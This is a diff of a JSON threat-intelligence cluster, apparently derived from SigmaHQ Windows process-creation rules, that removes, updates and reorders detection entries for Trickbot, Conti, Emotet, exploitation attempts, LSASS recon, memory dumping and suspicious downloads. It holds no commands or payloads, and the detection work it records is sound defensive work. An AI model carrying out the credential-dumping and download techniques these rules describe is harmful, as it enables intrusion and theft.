"https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", - "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_plugx_susp_exe_locations.yml" - ], - "tags": [ - "attack.s0013", - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "related": [ - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", - "value": "Potential PlugX Activity" - }, { "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", "meta": { @@ -60544,40 +58360,6 @@ "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", "value": "Suspicious Hacktool Execution - Imphash" }, - { - "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", - "meta": { - "author": "Aedan Russell, frack113 (sigma)", - "creation_date": "2022/06/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_browsers_chrome_load_extension.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/chromeloader/", - "https://emkc.org/s/RJjuLa", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chrome_load_extension.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1176" - ] - }, - "related": [ - { - "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", - "value": "Powershell ChromeLoader Browser Hijacker" - }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { @@ -60699,9 +58481,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", "http://www.xuetr.com/", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml" ], "tags": "No established tags" @@ -60792,40 +58574,6 @@ "uuid": "502b42de-4306-40b4-9596-6f590c81f073", "value": "Local Accounts Discovery" }, - { - "description": "Detects potential reconnaissance activity used by Trickbot malware. Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes.", - "meta": { - "author": "David Burkett, Florian Roth", - "creation_date": "2019/12/28", - "falsepositive": [ - "Rare System Admin Activity" - ], - "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ] - }, - "related": [ - { - "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", - "value": "Trickbot Malware Reconnaissance Activity" - }, { "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", "meta": { @@ -60901,50 +58649,6 @@ "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms" }, - { - "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/09/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2021_26084_atlassian_confluence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/h3v0x/CVE-2021-26084_Confluence", - "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", - "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_26084_atlassian_confluence.yml" - ], - "tags": [ - "attack.initial_access", - "attack.execution", - "attack.t1190", - "attack.t1059" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", - "value": "Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt" - }, { "description": "Detects new process creation using WMIC via the \"process call create\" flag", "meta": { @@ -61050,9 +58754,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_susp_paths.yml" ], "tags": [ @@ -61094,8 +58798,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/990758590020452353", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" ], "tags": [ @@ -61115,39 +58819,6 @@ "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", "value": "Malicious PE Execution by Microsoft Visual Studio Debugger" }, - { - "description": "Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_other_systemnightmare.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/GossiTheDog/SystemNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_other_systemnightmare.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "related": [ - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", - "value": "Potential SystemNightmare Exploitation Attempt" - }, { "description": "Detects scheduled task creations that have suspicious action command and folder combinations", "meta": { @@ -61358,9 +59029,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml" ], "tags": [ @@ -61371,9 +59042,9 @@ "value": "DriverQuery.EXE Execution" }, { - "description": "Detects a process memory dump performed by RdrLeakDiag.exe", + "description": "Detects the use of the Microsoft Windows Resource Leak Diagnostic tool \"rdrleakdiag.exe\" to dump process memory", "meta": { - "author": "Cedric MAURUGEON", + "author": "Cedric MAURUGEON, Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2021/09/24", "falsepositive": [ "Unknown" @@ -61383,7 +59054,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/0gtweet/status/1299071304805560321?s=21", "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml" ], "tags": [ @@ -61401,51 +59075,7 @@ } ], "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", - "value": "Process Dump via RdrLeakDiag.exe" - }, - { - "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", - "meta": { - "author": "MSTIC, FPT.EagleEye", - "creation_date": "2021/06/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_sourgrum.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", - "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" - ], - "tags": [ - "attack.t1546", - "attack.t1546.015", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "related": [ - { - "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", - "value": "SOURGUM Actor Behaviours" + "value": "Process Memory Dump via RdrLeakDiag.EXE" }, { "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", @@ -61460,10 +59090,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml" ], "tags": [ @@ -61530,8 +59160,8 @@ "logsource.product": "windows", "refs": [ "https://www.echotrail.io/insights/search/mshta.exe", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://en.wikipedia.org/wiki/HTML_Application", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml" ], "tags": [ @@ -61564,8 +59194,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" ], "tags": [ @@ -61606,8 +59236,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://twitter.com/eral4m/status/1451112385041911809", + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml" ], "tags": [ @@ -61641,8 +59271,8 @@ "logsource.product": "windows", "refs": [ "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", "https://www.nirsoft.net/utils/nircmd.html", + "https://www.nirsoft.net/utils/nircmd2.html#using", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd_as_system.yml" ], "tags": [ @@ -61699,7 +59329,7 @@ { "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", "meta": { - "author": "frack113", + "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" @@ -61876,9 +59506,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", "https://github.com/swagkarna/Defeat-Defender-V1.2.0", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_permission_modifications.yml" ], "tags": [ @@ -61911,8 +59541,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dnx.yml" ], "tags": [ @@ -61953,8 +59583,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-DOSfuscation", "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", + "https://github.com/danielbohannon/Invoke-DOSfuscation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" ], "tags": [ @@ -62016,56 +59646,6 @@ "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", "value": "Potential Encoded PowerShell Patterns In CommandLine" }, - { - "description": "Detects commands used by Turla group as reported by ESET in May 2020", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_turla_comrat_may20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059.001", - "attack.t1053.005", - "attack.t1027" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", - "value": "Turla Group Commands May 2020" - }, { "description": "Detects usage of \"ProtocolHandler\" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE)", "meta": { @@ -62134,86 +59714,6 @@ "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", "value": "Dropping Of Password Filter DLL" }, - { - "description": "Detects a command used by conti to dump database", - "meta": { - "author": "frack113", - "creation_date": "2021/08/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_conti_ransomware_database_dump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_ransomware_database_dump.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ] - }, - "related": [ - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", - "value": "Potential Conti Ransomware Database Dumping Activity" - }, - { - "description": "Detects all Emotet like process executions that are not covered by the more generic rules", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/09/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_emotet.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", - "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", - "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", - "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", - "value": "Potential Emotet Activity" - }, { "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", "meta": { @@ -62227,10 +59727,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", "https://twitter.com/max_mal_/status/1542461200797163522", + "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml" ], "tags": [ @@ -62324,41 +59824,6 @@ "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", "value": "Psexec Execution" }, - { - "description": "Detects a specific command used by the Conti ransomware group", - "meta": { - "author": "frack113", - "creation_date": "2021/10/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_conti_ransomware_commands.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_ransomware_commands.yml" - ], - "tags": [ - "attack.impact", - "attack.s0575", - "attack.t1486" - ] - }, - "related": [ - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", - "value": "Potential Conti Ransomware Activity" - }, { "description": "Detects suspicious process related to rasdial.exe", "meta": { @@ -62406,8 +59871,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml" ], "tags": [ @@ -62441,9 +59906,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.intrinsec.com/apt27-analysis/", "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://www.intrinsec.com/apt27-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" ], "tags": [ @@ -62547,27 +60012,6 @@ "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", "value": "UAC Bypass Using DismHost" }, - { - "description": "Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2023_21554_queuejumper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2023_21554_queuejumper.yml" - ], - "tags": "No established tags" - }, - "uuid": "53207cc2-0745-4c19-bc72-80be1cc16b3f", - "value": "Potential CVE-2023-21554 QueueJumper Exploitation" - }, { "description": "Detects suspicious Plink tunnel port forwarding to a local port", "meta": { @@ -62581,8 +60025,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", + "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_port_forwarding.yml" ], "tags": [ @@ -62656,9 +60100,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", - "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" ], "tags": [ @@ -62727,8 +60171,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", "https://github.com/albertzsigovits/malware-notes/blob/c820c7fea76cf76a861b28ebc77e06100e20ec29/Ransomware/Maze.md", + "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product_class.yml" ], "tags": [ @@ -62795,9 +60239,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", "https://twitter.com/mrd0x/status/1511489821247684615", + "https://twitter.com/mrd0x/status/1511415432888131586", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml" ], "tags": [ @@ -62860,8 +60304,8 @@ "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/frack113/status/1555830623633375232", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml" ], "tags": [ @@ -62895,9 +60339,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", - "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_usage.yml" ], "tags": [ @@ -63030,8 +60474,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml" ], "tags": [ @@ -63122,12 +60566,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://twitter.com/JohnLaTwC/status/835149808817991680", - "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", + "https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml" ], "tags": [ @@ -63160,10 +60604,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/antonioCoco/RogueWinRM", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" ], "tags": [ @@ -63183,67 +60627,6 @@ "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", "value": "Suspicious Child Process Created as System" }, - { - "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", - "meta": { - "author": "Florian Roth (Nextron 